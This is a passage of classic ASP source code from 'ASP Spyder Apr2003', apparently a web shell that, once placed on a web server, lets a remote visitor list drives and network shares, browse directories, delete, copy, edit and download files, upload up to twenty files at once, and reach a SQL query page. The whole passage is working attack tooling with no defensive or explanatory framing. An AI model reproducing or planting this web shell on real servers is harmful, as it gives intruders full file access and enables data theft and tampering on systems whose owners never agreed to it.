<%=thingy.DriveLetter%> </td><td><tt> <%=thingy.DriveType%> </td><td><tt> <%=thingy.Path%> </td><td><tt> <%=thingy.ShareName%> </td><td><tt> <%=((thingy.TotalSize)/1024000)%> </td><td><tt> <%=thingy.IsReady%> </td><td><tt> <%=thingy.VolumeName%>
|
|
<%Next%>
|
|
</td></tr></table>
|
|
</td></tr></table><BR><a href="<%=Request.Servervariables("SCRIPT_NAME")%>?txtpath=<%=MyPath%>"><font face="webdings" title=" BACK " size=+2 >7</font></a></center>
|
|
<%
|
|
Response.end
|
|
end if
|
|
' ---DRIVES stop here
|
|
%>
|
|
<HEAD>
|
|
<SCRIPT Language="VBScript">
|
|
sub getit(thestuff)
|
|
if right("<%=showPath%>",1) <> "\" Then
|
|
document.myform.txtpath.value = "<%=showPath%>" & "\" & thestuff
|
|
Else
|
|
document.myform.txtpath.value = "<%=showPath%>" & thestuff
|
|
End If
|
|
document.myform.submit()
|
|
End sub
|
|
</SCRIPT>
|
|
</HEAD>
|
|
<%
|
|
'---Report errors
|
|
select case err.number
|
|
case "0"
|
|
response.write "<font face=webdings color=#55ff55>i</font> <font face=arial size=-2>Successfull..</font>"
|
|
|
|
case "58"
|
|
response.write "<font face=arial size=-1 color=red>Folder already exists OR no folder name specified...</font>"
|
|
|
|
case "70"
|
|
response.write "<font face=arial size=-1 color=red>Permission Denied, folder/file is readonly or contains such files...</font>"
|
|
|
|
case "76"
|
|
response.write "<font face=arial size=-1 color=red>Path not found...</font>"
|
|
|
|
case "424"
|
|
response.write "<font face=arial size=-1 color=red>Missing, Insufficient data OR file is readonly...</font>"
|
|
|
|
case else
|
|
response.write "<font face=arial size=-1 color=red>" & err.description & "</font>"
|
|
|
|
end select
|
|
'---Report errors end
|
|
%>
|
|
<center><B>ASP</b><font color=#ff8300 face=webdings size=6 >!</font><B><font color=Gray >Spyder</font> Apr2003</B><BR><font color=black size=-2><TT>by ~sir_shagalot</TT></font></center>
|
|
<font face=Courier>
|
|
<table><tr><td>
|
|
<form method="post" action="<%=Request.Servervariables("SCRIPT_NAME")%>" name="myform" >
|
|
<Table bgcolor=#505050 ><tr><td bgcolor=#505050 >
|
|
<font face=Arial size=-2 color=#ff8300 > PATH INFO : </font></td><td align=right ><font face=Arial size=-2 color=#ff8300 >Volume Label:</font> <%=drv.VolumeName%> </td></tr>
|
|
<tr><td colspan=2 cellpadding=2 bgcolor=#303030 ><font face=Arial size=-1 color=gray>Virtual: http://<%=Request.ServerVariables("SERVER_NAME")%><%=Request.Servervariables("SCRIPT_NAME")%></Font><BR><font face=wingdings color=Gray >1</font><font face=Arial size=+1 > <%=showPath%></Font>
|
|
<BR><input type=text width=40 size=60 name=txtpath value="<%=showPath%>" ><input type=submit name=cmd value=" View " >
|
|
</td></tr></form></table>
|
|
</td><td><center>
|
|
<table bgcolor=#505050 cellpadding=4><tr><td bgcolor=black ><a href="<%=Request.Servervariables("SCRIPT_NAME")%>?getDRVs=@&txtpath=<%=MyPath%>"><font size=-2 face=arial>Retrieve Available Network Drives</a></td></tr>
|
|
<tr><td bgcolor=black align=right><A HREF="<%=Request.Servervariables("SCRIPT_NAME")%>?qa=@&txtpath=<%=MyPath%>"><font size=-2 face=arial>SQL Query Analyser</A></td></tr>
|
|
<tr><td bgcolor=black align=right><A HREF="<%=Request.Servervariables("SCRIPT_NAME")%>?logoff=@&...thankyou.for.using.ASpyder....~sir_shagalot!..[shagzzz.cjb.net]"><font size=-2 face=arial>+++LOGOFF+++</A></td></tr></table>
|
|
</td></tr></table>
|
|
<p align=center ><Table width=75% bgcolor=#505050 cellpadding=4 ><tr><td>
|
|
<form method="post" action="<%=Request.Servervariables("SCRIPT_NAME")%>" ><font face=arial size=-1 >Delete file from current directory:</font><BR>
|
|
<select size=1 name=ToDelete >
|
|
<option>------------------------------</option>"
|
|
<%
|
|
fi=0
|
|
For each file in folder.Files
|
|
Response.Write "<option>" & file.name & "</option>"
|
|
fi=fi+1
|
|
next
|
|
Response.Write "</select><input type=hidden name=txtpath value=""" & MyPath & """><input type=Submit name=cmd value=Delete ></form></td><td>"
|
|
Response.Write "<form method=post name=frmCopyFile action=""" & Request.Servervariables("SCRIPT_NAME") & """ ><font face=arial size=-1 >Copy file too current directory:</font><br><select size=1 name=ToCopy >"
|
|
Response.Write "<option>------------------------------</option>"
|
|
For each file in fileCopy.Files
|
|
Response.Write "<option>" & file.name & "</option>"
|
|
next
|
|
Response.Write "</select><input type=hidden name=txtpath value=""" & MyPath & """><input type=Submit name=cmd value="" Copy "" ></form></td></tr></Table>"
|
|
Response.Flush
|
|
' ---View Tree Begins Here
|
|
Response.Write "<table Cellpading=2 width=75% bgcolor=#505050 ><tr><td valign=top width=50% bgcolor=#303030 >Folders:<BR><BR>"
|
|
fo=0
|
|
Response.Write "<font face=wingdings color=Gray >0</font> <FONT COLOR=#c8c8c8><span style='cursor: hand;' OnClick=""getit('..')"">..</span></FONT><BR>"
|
|
|
|
For each fold in folder.SubFolders '-->FOLDERz
|
|
fo=fo+1
|
|
Response.Write "<font face=wingdings color=Gray >0</font> <FONT COLOR=#eeeeee><span style='cursor: hand;' OnClick=""getit('" & fold.name & "')"">" & fold.name & "</span></FONT><BR>"
|
|
Next
|
|
%>
|
|
<BR><center><form method=post action="<%=Request.Servervariables("SCRIPT_NAME")%>?txtpath=<%=MyPath%>">
|
|
<table bgcolor=#505050 cellspacing=4><tr><td>
|
|
<font face=arial size=-1 title="Create and Delete folders by entering their names here manually.">Directory:</td></tr>
|
|
<tr><td align=right ><input type=text size=20 name=DirName><BR>
|
|
<input type=submit name=cmd value=Create><input type=submit name=cmd value=Delete><input type=hidden name=DirStuff value=@>
|
|
</tr></td></table></form>
|
|
<%
|
|
Response.Write "<BR></td><td valign=top width=50% bgcolor=#303030 >Files:<BR><BR>"
|
|
Response.Flush
|
|
%>
|
|
<form method=post name=frmCopySelected action="<%=Request.Servervariables("SCRIPT_NAME")%>?txtpath=<%=MyPath%>">
|
|
<%
|
|
Response.write "<center><select name=Fname size=" & fi+3 & " style=""background-color: rgb(48,48,48); color: rgb(210,210,210)"">"
|
|
For each file in folder.Files '-->FILEz
|
|
Response.Write "<option value=""" & file.name & """> " & file.name & " -- [" & Int(file.size/1024)+1 & " kb]</option>"
|
|
Next
|
|
Response.write "</select>"
|
|
Response.write "<br><input type=submit name=cmd value="" Copy ""><input type=submit name=cmd value=""Edit/Create""><input type=submit name=cmd value=Download>"
|
|
%>
|
|
</form>
|
|
<%
|
|
Response.Write "<BR></td></tr><tr><td align=center ><B>Listed: " & fo & "</b></td><td align=center ><b>Listed: " & fi & "</b></td></tr></table><BR>"
|
|
' ---View Tree Ends Here
|
|
' ---Upload Routine starts here
|
|
%>
|
|
<form method="post" ENCTYPE="multipart/form-data" action="<%=Request.Servervariables("SCRIPT_NAME")%>?upload=@&txtpath=<%=MyPath%>">
|
|
<table bgcolor="#505050" cellpadding="8">
|
|
<tr>
|
|
<td bgcolor=#303030 valign="bottom"><font size=+1 face=wingdings color=Gray >2</font><font face="Arial" size=-2 color="#ff8300"> SELECT FILES TO UPLOAD:<br>
|
|
<input TYPE="FILE" SIZE="53" NAME="FILE1"><BR>
|
|
<input TYPE="FILE" SIZE="53" NAME="FILE2"><BR>
|
|
<input TYPE="FILE" SIZE="53" NAME="FILE3"><BR>
|
|
<input TYPE="FILE" SIZE="53" NAME="FILE4"><BR>
|
|
<input TYPE="FILE" SIZE="53" NAME="FILE5"><BR>
|
|
<input TYPE="FILE" SIZE="53" NAME="FILE6"><BR>
|
|
<input TYPE="FILE" SIZE="53" NAME="FILE7"><BR>
|
|
<input TYPE="FILE" SIZE="53" NAME="FILE8"><BR>
|
|
<input TYPE="FILE" SIZE="53" NAME="FILE9"><BR>
|
|
<input TYPE="FILE" SIZE="53" NAME="FILE10"><BR>
|
|
<input TYPE="FILE" SIZE="53" NAME="FILE11"><BR>
|
|
<input TYPE="FILE" SIZE="53" NAME="FILE12"><BR>
|
|
<input TYPE="FILE" SIZE="53" NAME="FILE13"><BR>
|
|
<input TYPE="FILE" SIZE="53" NAME="FILE14"><BR>
|
|
<input TYPE="FILE" SIZE="53" NAME="FILE15"><BR>
|
|
<input TYPE="FILE" SIZE="53" NAME="FILE16"><BR>
|
|
<input TYPE="FILE" SIZE="53" NAME="FILE17"><BR>
|
|
<input TYPE="FILE" SIZE="53" NAME="FILE18"><BR>
|
|
<input TYPE="FILE" SIZE="53" NAME="FILE19"><BR>
|
|
<input TYPE="FILE" SIZE="53" NAME="FILE20"><BR>
|
|
|
|
<input TYPE="submit" VALUE="Upload !" name="Upload" TITLE="If you recieve an error while uploading, then most likely you do not have write access to disk !!">
|
|
</font></td>
|
|
</tr>
|
|
</table>
|
|
<BR>
|
|
<table bgcolor="#505050" cellpadding="6">
|
|
<tr>
|
|
<td bgcolor="#000000" valign="bottom"><font face="Arial" size="-2" color=gray>NOTE FOR UPLOAD -
|
|
YOU MUST HAVE VBSCRIPT v5.0 INSTALLED ON YOUR WEB SERVER FOR THIS LIBRARY TO
|
|
FUNCTION CORRECTLY. YOU CAN OBTAIN IT FREE FROM MICROSOFT WHEN YOU INSTALL INTERNET
|
|
EXPLORER 5.0 OR LATER. WHICH IS, MOST LIKELY, ALREADY INSTALLED.</font></td>
|
|
</tr>
|
|
</table>
|
|
</form>
|
|
<%
|
|
' ---Upload Routine stops here
|
|
%>
|
|
|
|
</font><HR><P align=right><font color=#ff8300><TT>Copyright 2003 Vela iNC.</B></font><BR><font size=1 face=arial>[ System: <%=now%> ]</font></p><BR>
|
|
</body></html>
|